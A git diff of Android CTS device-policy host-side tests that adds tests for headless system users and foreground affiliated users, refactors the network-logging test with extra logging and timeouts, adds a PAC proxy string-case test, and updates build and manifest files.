+                case OPERATION_STOP_USER:
+                    dpm.stopUser(admin, USER_HANDLE);
+                    break;
+                case OPERATION_SWITCH_USER:
+                    dpm.switchUser(admin, USER_HANDLE);
+                    break;
+                case OPERATION_UNINSTALL_CA_CERT:
+                    dpm.uninstallCaCert(admin, TEST_CA.getBytes());
+                    break;
+                case OPERATION_WIPE_DATA:
+                    if (overloaded) {
+                        dpm.wipeData(NO_FLAGS,
+                                /* reason= */ "DevicePolicySafetyCheckerIntegrationTest");
+                    } else {
+                        dpm.wipeData(NO_FLAGS);
+                    }
+                    break;
+                default:
+                    throwUnsupportedOperationException(operation, overloaded);
+            }
+        }
+    };
+
+    /**
+     * Tests that all safety-aware operations are properly implemented.
+     */
+    public void testAllOperations() {
+        mTester.testAllOperations(mDevicePolicyManager, getWho());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java
new file mode 100644
index 0000000..fff65d6
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.UserIdInt;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.pm.UserInfo;
+import android.os.UserManager;
+import android.util.Log;
+
+//TODO(b/174859111): move to automotive specific module
+/**
+ * Device owner tests specific for devices that use
+ * {@link android.os.UserManager#isHeadlessSystemUserMode()}.
+ */
+public final class HeadlessSystemUserTest extends BaseDeviceOwnerTest {
+
+    private static final String TAG = HeadlessSystemUserTest.class.getSimpleName();
+
+    // To be used in cases where it needs to test the DPM of the current user (as
+    // mDevicePolicyManager wraps calls to user 0's DeviceOwner DPM);
+    private DevicePolicyManager mCurrentUserDpm;
+
+    private UserManager mUserManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mCurrentUserDpm = mContext.getSystemService(DevicePolicyManager.class);
+        mUserManager = mContext.getSystemService(UserManager.class);
+
+        Log.d(TAG, "setUp(): userId=" + mUserId);
+
+    }
+
+    public void testProfileOwnerIsSetOnCurrentUser() {
+        ComponentName admin = mCurrentUserDpm.getProfileOwner();
+
+        assertProfileOwner(admin, mUserId);
+    }
+
+    public void testProfileOwnerIsSetOnNewUser() throws Exception {
+        UserInfo user = null;
+        try {
+            user = callWithShellPermissionIdentity(() -> mUserManager
+                    .createUser("testProfileOwnerIsSetOnNewUser", /* flags= */ 0));
+            assertWithMessage("new user").that(user).isNotNull();
+            Log.d(TAG, "Created user " + user.toFullString());
+            final int userId = user.id;
+
+            // Must try a couple times as PO is asynchronously set after user is created.
+            // TODO(b/178102911): use a callback instead
+            eventually(() -> assertProfileOwner(mDevicePolicyManager.getProfileOwnerAsUser(userId),
+                    userId));
+
+        } finally {
+            if (user != null) {
+                final int userId = user.id;
+                Log.d(TAG, "Removing user " + userId);
+                boolean removed = callWithShellPermissionIdentity(
+                        () -> mUserManager.removeUser(userId));
+                assertWithMessage("user %s removed", userId).that(removed).isTrue();
+            }
+        }
+    }
+
+    private void assertProfileOwner(ComponentName admin, @UserIdInt int userId) {
+        assertWithMessage("Component %s is profile owner for user %s", admin, userId)
+                .that(admin).isEqualTo(getWho());
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ListForegroundAffiliatedUsersTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ListForegroundAffiliatedUsersTest.java
new file mode 100644
index 0000000..65d2261
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ListForegroundAffiliatedUsersTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.ActivityManager;
+import android.os.UserHandle;
+
+import java.util.List;
+
+public final class ListForegroundAffiliatedUsersTest extends BaseDeviceOwnerTest {
+
+    public void testListForegroundAffiliatedUsers_onlyForegroundUser() throws Exception {
+        List<UserHandle> users = mDevicePolicyManager.listForegroundAffiliatedUsers();
+
+        assertWithMessage("foreground users").that(users).hasSize(1);
+        UserHandle currentUser = users.get(0);
+        assertWithMessage("current foreground user").that(currentUser).isNotNull();
+        assertWithMessage("current foreground user id").that(currentUser.getIdentifier())
+                .isEqualTo(ActivityManager.getCurrentUser());
+    }
+
+    public void testListForegroundAffiliatedUsers_empty() throws Exception {
+        List<UserHandle> users = mDevicePolicyManager.listForegroundAffiliatedUsers();
+        assertWithMessage("foreground users").that(users).isEmpty();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
index 1856d2c..91c63c9 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/NetworkLoggingTest.java
@@ -15,19 +15,24 @@
  */
 package com.android.cts.deviceowner;
 
+import static com.android.bedstead.dpmwrapper.TestAppHelper.registerTestCaseReceiver;
+import static com.android.bedstead.dpmwrapper.TestAppHelper.unregisterTestCaseReceiver;
+
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.app.admin.ConnectEvent;
 import android.app.admin.DnsEvent;
 import android.app.admin.NetworkEvent;
 import android.content.BroadcastReceiver;
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.Parcel;
+import android.os.SystemClock;
 import android.util.Log;
 
-import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 import androidx.test.InstrumentationRegistry;
 
 import java.io.BufferedReader;
@@ -50,12 +55,21 @@
 public class NetworkLoggingTest extends BaseDeviceOwnerTest {
 
     private static final String TAG = "NetworkLoggingTest";
+    private static final boolean VERBOSE = false;
+
     private static final String ARG_BATCH_COUNT = "batchCount";
     private static final int FAKE_BATCH_TOKEN = -666; // real batch tokens are always non-negative
     private static final int FULL_LOG_BATCH_SIZE = 1200;
     private static final String CTS_APP_PACKAGE_NAME = "com.android.cts.deviceowner";
     private static final int MAX_IP_ADDRESSES_LOGGED = 10;
 
+    private static final int CONNECTION_TIMEOUT_MS = 2_000;
+
+    private static final int TIMEOUT_PER_BATCH_MS = 3 * 60_000; // 3 minutes
+
+    /** How often events should be logged, when {@link #VERBOSE} is {@code false}. */
+    private static final int LOGGING_FREQUENCY = FULL_LOG_BATCH_SIZE / 4;
+
     private static final String[] NOT_LOGGED_URLS_LIST = {
             "wikipedia.org",
             "google.pl"
@@ -79,22 +93,31 @@
 
         @Override
         public void onReceive(Context context, Intent intent) {
-            if (BasicAdminReceiver.ACTION_NETWORK_LOGS_AVAILABLE.equals(intent.getAction())) {
-                final long token =
-                        intent.getLongExtra(BasicAdminReceiver.EXTRA_NETWORK_LOGS_BATCH_TOKEN,
-                                FAKE_BATCH_TOKEN);
-                // Retrieve network logs.
-                final List<NetworkEvent> events = mDevicePolicyManager.retrieveNetworkLogs(getWho(),
-                        token);
-                if (events == null) {
-                    fail("Failed to retrieve batch of network logs with batch token " + token);
-                    return;
-                }
-                if (mBatchCountDown.getCount() > 0) {
-                    mNetworkEvents.addAll(events);
-                }
-                mBatchCountDown.countDown();
+            if (!BasicAdminReceiver.ACTION_NETWORK_LOGS_AVAILABLE.equals(intent.getAction())) {
+                Log.w(TAG, "Received unexpected intent: " + intent);
+                return;
             }
+            final long token =
+                    intent.getLongExtra(BasicAdminReceiver.EXTRA_NETWORK_LOGS_BATCH_TOKEN,
+                            FAKE_BATCH_TOKEN);
+            final long latchCount = mBatchCountDown.getCount();
+            Log.d(TAG, "Received " + intent + ": token=" + token + ", latch= " + latchCount);
+            // Retrieve network logs.
+            final List<NetworkEvent> events = mDevicePolicyManager.retrieveNetworkLogs(getWho(),
+                    token);
+            Log.d(TAG, "Number of events: " + events.size());
+            if (VERBOSE) Log.v(TAG, "Events: " + events);
+            if (events == null) {
+                fail("Failed to retrieve batch of network logs with batch token " + token);
+                return;
+            }
+            if (latchCount > 0) {
+                mNetworkEvents.addAll(events);
+            } else {
+                Log.e(TAG, "didn't receive any event");
+            }
+            Log.d(TAG, "Counting down latch");
+            mBatchCountDown.countDown();
         }
     };
 
@@ -104,8 +127,9 @@
 
     @Override
     protected void tearDown() throws Exception {
-        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), false);
-        assertFalse(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        // NOTE: if this was a "pure" device-side test, it should not throw an exception on
+        // tearDown()
+        setNetworkLoggingEnabled(false);
 
         super.tearDown();
     }
@@ -115,8 +139,8 @@
      * secondary users / profiles are affiliated.
      */
     public void testRetrievingNetworkLogsThrowsSecurityException() {
-        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
-        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        setNetworkLoggingEnabled(true);
+
         try {
             mDevicePolicyManager.retrieveNetworkLogs(getWho(), FAKE_BATCH_TOKEN);
             fail("did not throw expected SecurityException");
@@ -129,8 +153,8 @@
      * be returned.
      */
     public void testProvidingWrongBatchTokenReturnsNull() {
-        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
-        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        setNetworkLoggingEnabled(true);
+
         assertNull(mDevicePolicyManager.retrieveNetworkLogs(getWho(), FAKE_BATCH_TOKEN));
     }
 
@@ -143,21 +167,21 @@
         mBatchesRequested =
                 Integer.parseInt(
                         InstrumentationRegistry.getArguments().getString(ARG_BATCH_COUNT, "1"));
+        Log.d(TAG, "batches requested:" + mBatchesRequested);
         mBatchCountDown = new CountDownLatch(mBatchesRequested);
         // register a receiver that listens for DeviceAdminReceiver#onNetworkLogsAvailable()
         final IntentFilter filterNetworkLogsAvailable = new IntentFilter(
                 BasicAdminReceiver.ACTION_NETWORK_LOGS_AVAILABLE);
-        LocalBroadcastManager.getInstance(mContext).registerReceiver(mNetworkLogsReceiver,
-                filterNetworkLogsAvailable);
+
+        registerTestCaseReceiver(mContext, mNetworkLogsReceiver, filterNetworkLogsAvailable);
 
         // visit websites that shouldn't be logged as network logging isn't enabled yet
-        for (final String url : NOT_LOGGED_URLS_LIST) {
-            connectToWebsite(url);
+        for (int i = 0; i < NOT_LOGGED_URLS_LIST.length; i++) {
+            connectToWebsite(NOT_LOGGED_URLS_LIST[i], shouldLog(i));
         }
 
         // enable network logging and start the logging scenario
-        mDevicePolicyManager.setNetworkLoggingEnabled(getWho(), true);
-        assertTrue(mDevicePolicyManager.isNetworkLoggingEnabled(getWho()));
+        setNetworkLoggingEnabled(true);
 
         // TODO: here test that facts about logging are shown in the UI
 
@@ -165,10 +189,14 @@
         generateBatches();
     }
 
+    private boolean shouldLog(int sample) {
+        return sample % LOGGING_FREQUENCY == 0;
+    }
+
     private void generateBatches() throws Exception {
         // visit websites to verify their dns lookups are logged
-        for (final String url : LOGGED_URLS_LIST) {
-            connectToWebsite(url);
+        for (int i = 0; i < LOGGED_URLS_LIST.length; i++) {
+            connectToWebsite(LOGGED_URLS_LIST[i], shouldLog(i));
         }
 
         // generate enough traffic to fill the batches.
@@ -179,17 +207,23 @@
 
         // if DeviceAdminReceiver#onNetworkLogsAvailable() hasn't been triggered yet, wait for up to
         // 3 minutes per batch just in case
-        final int timeoutMins = 3 * mBatchesRequested;
-        mBatchCountDown.await(timeoutMins, TimeUnit.MINUTES);
-        LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mNetworkLogsReceiver);
+        final int timeoutMs = TIMEOUT_PER_BATCH_MS * mBatchesRequested;
+        Log.d(TAG, "Waiting up to " + timeoutMs + "ms for " + mBatchesRequested + " batches");
+        if (!mBatchCountDown.await(timeoutMs, TimeUnit.MILLISECONDS)) {
+            Log.e(TAG, "Timed out!");
+        }
+
+        unregisterTestCaseReceiver(mContext, mNetworkLogsReceiver);
+
         if (mBatchCountDown.getCount() > 0) {
             fail("Generated events for " + mBatchesRequested + " batches and waited for "
-                    + timeoutMins + " minutes, but still didn't get"
+                    + timeoutMs + " ms, but still didn't get"
                     + " DeviceAdminReceiver#onNetworkLogsAvailable() callback");
         }
 
         // Verify network logs.
-        assertEquals("First event has the wrong id.", 0L, mNetworkEvents.get(0).getId());
+        assertWithMessage("network events").that(mNetworkEvents).isNotEmpty();
+        assertWithMessage("first event id").that(mNetworkEvents.get(0).getId()).isEqualTo(0L);
         // For each of the real URLs we have two events: one DNS and one connect. Fake requests
         // don't require DNS queries.
         final int eventsExpected =
@@ -273,6 +307,8 @@
     }
 
     private void verifyNetworkLogs(List<NetworkEvent> networkEvents, int eventsExpected) {
+        Log.d(TAG, "verifyNetworkLogs(): expected " + eventsExpected + ", got "
+                + ((networkEvents == null) ? "null" : String.valueOf(networkEvents.size())));
         // allow a batch to be slightly smaller or larger.
         assertTrue(Math.abs(eventsExpected - networkEvents.size()) <= 50);
         int ctsPackageNameCounter = 0;
@@ -322,14 +358,21 @@
         assertTrue(ctsPackageNameCounter >= eventsExpectedWithMargin);
     }
 
-    private void connectToWebsite(String server) {
+    private void connectToWebsite(String server, boolean shouldLog) {
         HttpURLConnection urlConnection = null;
         try {
             final URL url = new URL("http://" + server);
+            if (shouldLog || VERBOSE) {
+                Log.d(TAG, "Connecting to " + server + " with " + CONNECTION_TIMEOUT_MS
+                        + "ms timeout");
+            }
             urlConnection = (HttpURLConnection) url.openConnection();
-            urlConnection.setConnectTimeout(2000);
-            urlConnection.setReadTimeout(2000);
-            urlConnection.getResponseCode();
+            urlConnection.setConnectTimeout(CONNECTION_TIMEOUT_MS);
+            urlConnection.setReadTimeout(CONNECTION_TIMEOUT_MS);
+            final int responseCode = urlConnection.getResponseCode();
+            if (shouldLog || VERBOSE) {
+                Log.d(TAG, "Got response code: " + responseCode);
+            }
         } catch (IOException e) {
             Log.w(TAG, "Failed to connect to " + server, e);
         } finally {
@@ -355,15 +398,13 @@
     private int makeFakeRequests(int port) {
         int reqNo;
         final String FAKE_SERVER = "127.0.0.1:" + port;
+        Log.d(TAG, "Making a fake request to " + FAKE_SERVER);
         for (reqNo = 0; reqNo < FULL_LOG_BATCH_SIZE && mBatchCountDown.getCount() > 0; reqNo++) {
-            connectToWebsite(FAKE_SERVER);
-            try {
-                // Just to prevent choking the server.
-                Thread.sleep(10);
-            } catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-            }
+            connectToWebsite(FAKE_SERVER, shouldLog(reqNo));
+            // Just to prevent choking the server.
+            sleep(10);
         }
+        Log.d(TAG, "Returning reqNo=" + reqNo);
         return reqNo;
     }
 
@@ -392,11 +433,13 @@
                     }
                 }
             }
-        });
+            Log.i(TAG, "Fake server closed");
+        }, "FakeServerThread");
+        Log.i(TAG, "starting a fake server (" + serverSocket + ") on thread " + serverThread);
         serverThread.start();
 
         // Allow the server to start accepting.
-        Thread.sleep(1_000);
+        sleep(1_000);
 
         return serverThread;
     }
@@ -404,4 +447,20 @@
     private boolean isIpv4OrIpv6Address(InetAddress addr) {
         return ((addr instanceof Inet4Address) || (addr instanceof Inet6Address));
     }
+
+    private void sleep(int timeMs) {
+        if (VERBOSE) Log.v(TAG, "Sleeping for " + timeMs + "ms");
+        SystemClock.sleep(timeMs);
+        if (VERBOSE) Log.v(TAG, "Woke up");
+    }
+
+    private void setNetworkLoggingEnabled(boolean enabled) {
+        ComponentName admin = getWho();
+        Log.d(TAG, "Calling setNetworkLoggingEnabled(" + enabled + ") for " + admin);
+        mDevicePolicyManager.setNetworkLoggingEnabled(admin, enabled);
+        boolean reallyEnabled = mDevicePolicyManager.isNetworkLoggingEnabled(admin);
+        Log.d(TAG, "getNetworkLoggingEnabled() result:" + reallyEnabled);
+        assertWithMessage("network logging enabled for %s", admin).that(reallyEnabled)
+                .isEqualTo(enabled);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
index 5280e06..bf85af0 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PackageInstallTest.java
@@ -126,7 +126,7 @@
                 mContext,
                 REQUEST_CODE,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
index 30d2e55..450b996 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
@@ -15,9 +15,12 @@
  */
 package com.android.cts.deviceowner;
 
+import static org.testng.Assert.assertThrows;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.test.AndroidTestCase;
+import android.util.Log;
 
 /**
  * The following test can run in DeviceOwner mode or non-DeviceOwner mode.
@@ -25,18 +28,23 @@
  */
 public class PreDeviceOwnerTest extends AndroidTestCase {
 
+    private static final String TAG = PreDeviceOwnerTest.class.getSimpleName();
+
     protected DevicePolicyManager mDevicePolicyManager;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
 
+        Log.d(TAG, "setUp(): running on user " + mContext.getUserId());
+
         mDevicePolicyManager = (DevicePolicyManager)
                 mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
     }
 
     public void testIsProvisioningAllowedFalse() {
-        assertFalse(mDevicePolicyManager.isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE));
+        assertFalse(mDevicePolicyManager
+                .isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE));
     }
 
     public void testIsProvisioningNotAllowedForManagedProfileAction() {
@@ -44,4 +52,8 @@
                 .isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE));
     }
 
+    public void testListForegroundAffiliatedUsers_notDeviceOwner() throws Exception {
+        assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.listForegroundAffiliatedUsers());
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index de1dd55..927520a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
@@ -23,7 +26,6 @@
 import android.util.Log;
 
 import java.util.ArrayList;
-import java.util.Collections;
 
 /**
  * Test {@link DevicePolicyManager#setUserControlDisabledPackages} and
@@ -44,13 +46,12 @@
         ArrayList<String> protectedPackages= new ArrayList<>();
         protectedPackages.add(SIMPLE_APP_PKG);
         mDevicePolicyManager.setUserControlDisabledPackages(getWho(), protectedPackages);
-
-        // Launch app so that the app exits stopped state.
+        // Launch an activity so that the app exits stopped state.
         Intent intent = new Intent(Intent.ACTION_MAIN);
         intent.setClassName(SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Log.d(TAG, "Starting " + intent + " on user " + mUserId);
         mContext.startActivity(intent);
-
     }
 
     public void testForceStopWithUserControlDisabled() throws Exception {
@@ -59,29 +60,35 @@
         // Check if package is part of UserControlDisabledPackages before checking if 
         // package is stopped since it is a necessary condition to prevent stopping of
         // package
-        assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
-        assertFalse(isPackageStopped(SIMPLE_APP_PKG));
+
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
+                .containsExactly(SIMPLE_APP_PKG);
+        assertPackageStopped(/* stopped= */ false);
     }
 
     public void testClearSetUserControlDisabledPackages() throws Exception {
         final ArrayList<String> pkgs = new ArrayList<>();
         mDevicePolicyManager.setUserControlDisabledPackages(getWho(), pkgs);
-        assertEquals(pkgs, mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
     public void testForceStopWithUserControlEnabled() throws Exception {
-        assertTrue(isPackageStopped(SIMPLE_APP_PKG));
-        assertEquals(Collections.emptyList(),
-                mDevicePolicyManager.getUserControlDisabledPackages(getWho()));
+        assertPackageStopped(/* stopped= */ true);
+        assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
     }
 
     private boolean isPackageStopped(String packageName) throws Exception {
         PackageInfo packageInfo = mContext.getPackageManager()
                 .getPackageInfo(packageName, PackageManager.GET_META_DATA);
-        Log.d(TAG, "Application flags for " + packageName + " = "
-                + Integer.toHexString(packageInfo.applicationInfo.flags));
-        return ((packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
-                == ApplicationInfo.FLAG_STOPPED) ? true : false;
+        boolean stopped = (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_STOPPED)
+                == ApplicationInfo.FLAG_STOPPED;
+        Log.d(TAG, "Application flags for " + packageName + " on user " + mUserId + " = "
+                + Integer.toHexString(packageInfo.applicationInfo.flags) + ". Stopped: " + stopped);
+        return stopped;
     }
 
+    private void assertPackageStopped(boolean stopped) throws Exception {
+        assertWithMessage("Package %s stopped for user %s", SIMPLE_APP_PKG, mUserId)
+                .that(isPackageStopped(SIMPLE_APP_PKG)).isEqualTo(stopped);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/proxy/PacProxyTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/proxy/PacProxyTest.java
index ce5aa03..2e35bd4 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/proxy/PacProxyTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/proxy/PacProxyTest.java
@@ -78,6 +78,15 @@
       "}";
 
   /**
+   * PAC file that uses locale-specific string manipulations.
+   */
+  private static final String STRING_CASE_PAC = "function FindProxyForURL(url, host) {" +
+      "  if (\"hElLo\".toUpperCase() != \"HELLO\") return \"PROXY failed:8080\";" +
+      "  if (\"hElLo\".toLowerCase() != \"hello\") return \"PROXY failed:8080\";" +
+      "  return \"PROXY passed:8080\";" +
+      "}";
+
+  /**
    * Wait for the PacFileServer to tell us it has had a successful
    * HTTP request and responded with the PAC file we set.
    */
@@ -260,4 +269,22 @@
     assertEquals("Incorrect URL should return DIRECT",
         newArrayList(Proxy.NO_PROXY), list);
   }
+
+  /**
+   * Test a PAC file with toUpperCase/toLowerCase manipulations.
+   */
+  public void testStringCase() throws Exception {
+    mPacServer.setPacFile(STRING_CASE_PAC);
+    setPacURLAndWaitForDownload();
+
+    waitForSetProxySysProp();
+
+    URI uri = new URI("http://testhost/");
+
+    ProxySelector selector = ProxySelector.getDefault();
+    List<Proxy> list = selector.select(uri);
+    assertEquals("Correct URL returns proxy",
+        newArrayList(new Proxy(Type.HTTP, InetSocketAddress.createUnresolved("passed", 8080))),
+        list);
+  }
 }
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
index 74f44d7..57517ad 100644
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsHasLauncherActivityApp",
     // Don't include this package in any target
@@ -32,6 +28,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
@@ -51,6 +48,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "no_launcher_activity_AndroidManifest.xml",
     sdk_version: "current",
@@ -71,6 +69,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     manifest: "no_permission_AndroidManifest.xml",
     sdk_version: "current",
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
index 760b31f..c1b179d 100755
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/AndroidManifest.xml
@@ -16,17 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.haslauncheractivityapp">
-    <uses-permission android:name="android.permission.INTERNET" />
+     package="com.android.cts.haslauncheractivityapp">
+    <uses-permission android:name="android.permission.INTERNET"/>
     <application android:testOnly="true">
-        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <service android:name=".EmptyService" android:enabled="true"></service>
+        <service android:name=".EmptyService"
+             android:enabled="true"/>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
index ae2249a..614377c 100755
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
@@ -19,7 +19,8 @@
     package="com.android.cts.nolauncheractivityapp">
     <uses-permission android:name="android.permission.INTERNET" />
     <application>
-        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity">
+        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity"
+                  android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW" />
             </intent-filter>
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
index 31bfdf4..06f34f2 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsIntentReceiverApp",
     defaults: ["cts_defaults"],
@@ -28,12 +24,13 @@
         "androidx.legacy_legacy-support-v4",
         "ctstestrunner-axt",
     ],
-    sdk_version: "current",
+    sdk_version: "test_current",
     min_sdk_version: "19",
     // tag this module as a cts test artifact
     test_suites: [
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
index 22614fe..a5b4801 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
